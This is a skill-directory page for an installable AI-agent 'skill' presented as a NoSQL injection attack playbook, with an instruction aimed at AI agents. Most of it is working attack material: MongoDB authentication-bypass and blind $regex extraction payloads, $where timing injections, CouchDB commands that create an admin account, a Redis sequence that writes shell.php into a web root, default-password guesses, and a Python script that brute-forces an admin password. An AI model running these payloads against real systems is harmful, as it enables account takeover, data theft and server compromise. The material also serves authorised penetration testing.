nosql-injection

安装量: 221
排名: #9605

安装

npx skills add https://github.com/yaklang/hack-skills --skill nosql-injection
SKILL: NoSQL Injection — Expert Attack Playbook
AI LOAD INSTRUCTION
NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.
1. CORE CONCEPT — OPERATOR INJECTION
SQL Injection
breaks out of string literals.
NoSQL Injection
injects
query operators
that change query logic.
MongoDB example — normal query:
db
.
users
.
find
(
{
username
:
"alice"
,
password
:
"secret"
}
)
Injection via JSON operator:
{
"username"
:
"admin"
,
"password"
:
{
"$gt"
:
""
}
}
→ Becomes:
find({username:"admin", password:{$gt:""}})
→ password > "" → always true!
2. MONGODB — LOGIN BYPASS
JSON Body Injection (API with JSON Content-Type)
POST /api/login
Content-Type
:
application/json
{
"username"
:
"admin"
,
"password"
:
{
"$ne"
:
"invalid"
}
}
{
"username"
:
"admin"
,
"password"
:
{
"$gt"
:
""
}
}
{
"username"
:
{
"$ne"
:
"invalid"
}
,
"password"
:
{
"$ne"
:
"invalid"
}
}
{
"username"
:
"admin"
,
"password"
:
{
"$regex"
:
".*"
}
}
PHP
$_POST
Array Injection (URL-encoded form)
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
Ruby / Python
params
Array Injection
Same as PHP — use bracket notation to inject objects:
?username[%24ne]=invalid&password[%24ne]=invalid
%24
= URL-encoded
$
3. MONGODB OPERATORS FOR INJECTION
Operator
Meaning
Use Case
$ne
not equal
{"password": {"$ne": "x"}}
→ always matches
$gt
greater than
{"password": {"$gt": ""}}
→ all non-empty passwords match
$gte
greater or equal
Similar to $gt
$lt
less than
{"password": {"$lt": "~"}}
→ all ASCII match
$regex
regex match
{"username": {"$regex": "adm.*"}}
$where
JS expression
MOST DANGEROUS — code execution
$exists
field exists
{"admin": {"$exists": true}}
$in
in array
{"username": {"$in": ["admin","user"]}}
4. BLIND DATA EXTRACTION VIA $REGEX
Like binary search in SQLi, use
$regex
to extract field values character by character:
// Does admin's password start with 'a'?
{
"username"
:
"admin"
,
"password"
:
{
"$regex"
:
"^a"
}
}
// Does admin's password start with 'b'?
{
"username"
:
"admin"
,
"password"
:
{
"$regex"
:
"^b"
}
}
// Continue: narrow down each position
{
"username"
:
"admin"
,
"password"
:
{
"$regex"
:
"^ab"
}
}
{
"username"
:
"admin"
,
"password"
:
{
"$regex"
:
"^ac"
}
}
Response difference
successful login vs failed login = boolean oracle. Automate with NoSQLMap or custom script with binary search on character set. 5. MONGODB $WHERE INJECTION (JS EXECUTION) $where evaluates JavaScript in MongoDB context. Can only use current document's fields — not system access. But allows logic abuse: { "$where" : "this.username == 'admin' && this.password.length > 0" } // Blind extraction via timing: { "$where" : "if(this.username=='admin'){sleep(5000);return true;}else{return false;}" } // Regex via JS: { "$where" : "this.username.match(/^adm/) && true" } Limit : $where doesn't give OS command execution — server-side JS injection (not to be confused with command injection). 6. AGGREGATION PIPELINE INJECTION When user-controlled data enters $match or $group stages: // Vulnerable code: db . collection . aggregate ( [ { $match : { category : userInput } } , // userInput = {"$ne": null} ... ] ) Inject operators to bypass: // Input as object: { "$ne" : null } → matches all categories { "$regex" : ".*" } → matches all 7. HTTP PARAMETER POLLUTION FOR NOSQL Some frameworks (Express.js, PHP) parse repeating parameters as arrays: ?filter=value1&filter=value2 → filter = ["value1", "value2"] Use qs library parse behavior in Node.js: ?filter[$ne]=invalid → parsed as: filter = {$ne: "invalid"} → NoSQL operator injection 8. COUCHDB ATTACKS HTTP Admin API (if exposed)

List databases:

curl http://target.com:5984/_all_dbs

Read all documents in a DB:

curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs = true

Create admin account (if anonymous access allowed):

curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"' 9. REDIS INJECTION Redis exposed (6379) with no auth — command injection via input used in Redis queries:

Via SSRF or direct injection:

SET key "" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php BGSAVE Auth bypass (older Redis with requirepass using simple password): AUTH password AUTH 123456 AUTH redis AUTH admin 10. DETECTION PAYLOADS Send these to any input processed by NoSQL backend: true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1 1, $where: '1 == 1' { $ne: 1 } ', sleep(1000) 1' ; sleep(1000) {"$gt": ""} {"$ne": "invalid"} [$ne]=invalid [$gt]= JSON variant test (change Content-Type to application/json if endpoint is form-based): { "username" : "admin" , "password" : { "$ne" : "" } } 11. NOSQL VS SQL — KEY DIFFERENCES Aspect SQLi NoSQLi Language SQL syntax Query operator objects Injection vector String concatenation Object/operator injection Common signal Quote breaks response {$ne:x} changes response Extraction method UNION / error-based $regex character oracle Auth bypass ' OR 1=1-- {"password":{"$ne":""}} OS command xp_cmdshell (MSSQL) Rare (need $where + CVE) Fingerprint DB-specific error messages "cannot use $" errors 12. TESTING CHECKLIST □ Test login fields with: {"$ne": "invalid"} JSON body □ Test URL-encoded forms: password[$ne]=invalid □ Test $regex for blind enumeration of field values □ Try $where with sleep() for time-based blind □ Check 5984 port for CouchDB (unauthenticated admin) □ Check 6379 port for Redis (unauthenticated) □ Try Content-Type: application/json on form endpoints □ Monitor for operator-related error messages ("BSON" "operator" "$not allowed") 13. BLIND NoSQL EXTRACTION AUTOMATION $regex Character-by-Character Extraction (Python Template) import requests import string url = "http://target/login" charset = string . ascii_lowercase + string . digits + string . punctuation password = "" while True : found = False for c in charset : payload = { "username" : "admin" , "password[$regex]" : f"^ { password } { c } ." } r = requests . post ( url , json = payload ) if "success" in r . text or r . status_code == 302 : password += c found = True print ( f"Found: { password } " ) break if not found : break print ( f"Final password: { password } " ) $regex via URL-encoded GET Parameters username=admin&password[$regex]=^a. username=admin&password[$regex]=^ab.*

Iterate through charset until login succeeds

Duplicate Key Bypass
// When app checks one key but processes another:
{
"id"
:
"10"
,
"id"
:
"100"
}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100
14. AGGREGATION PIPELINE INJECTION
When user input reaches MongoDB aggregation pipeline stages:
// If user controls $match stage:
db
.
collection
.
aggregate
(
[
{
$match
:
{
user
:
INPUT
}
}
// INPUT from user
]
)
// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents
// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{
$lookup
:
{
from
:
"admin_users"
,
// attacker-chosen collection
localField
:
"user_id"
,
foreignField
:
"_id"
,
as
:
"leaked"
}
}
// $out to write results to new collection:
{
$out
:
"public_collection"
}
// Write query results to accessible collection
$where JavaScript Execution
// $where allows arbitrary JavaScript (DANGEROUS):
db
.
users
.
find
(
{
$where
:
"this.username == 'admin'"
}
)
// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='
Reference
Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024) Note: $where runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any $where sink as high risk.
返回排行榜